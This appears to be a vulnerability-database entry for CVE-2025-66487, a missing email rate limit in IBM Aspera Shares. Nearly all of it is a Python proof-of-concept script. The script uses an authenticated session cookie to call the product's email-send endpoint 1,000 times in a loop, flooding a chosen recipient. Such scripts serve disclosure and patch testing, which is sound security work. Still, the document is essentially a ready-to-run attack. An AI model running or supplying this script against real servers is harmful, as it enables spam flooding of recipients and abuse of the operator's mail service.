CVE-2025-66487 IBM Aspera Shares邮件发送限制缺失漏洞

import requests # Target URL for the email sending endpoint # Replace with the actual endpoint based on the specific version target_url = "https://<aspera-shares-host>/api/email/send" # Authentication credentials (High privileges required) # Replace with valid credentials auth_cookies = { "session_id": "valid_session_cookie_here" } # Payload for the email request email_payload = { "to": "[email protected]", "subject": "Flood Test", "body": "This is a test email for vulnerability demonstration." } print("[+] Starting PoC for CVE-2025-66487...") try: # Loop to send emails without rate limiting for i in range(1000): response = requests.post(target_url, data=email_payload, cookies=auth_cookies) if response.status_code == 200: print(f"[+] Email {i+1} sent successfully.") else: print(f"[-] Failed to send email {i+1}. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") print("[+] PoC execution finished.")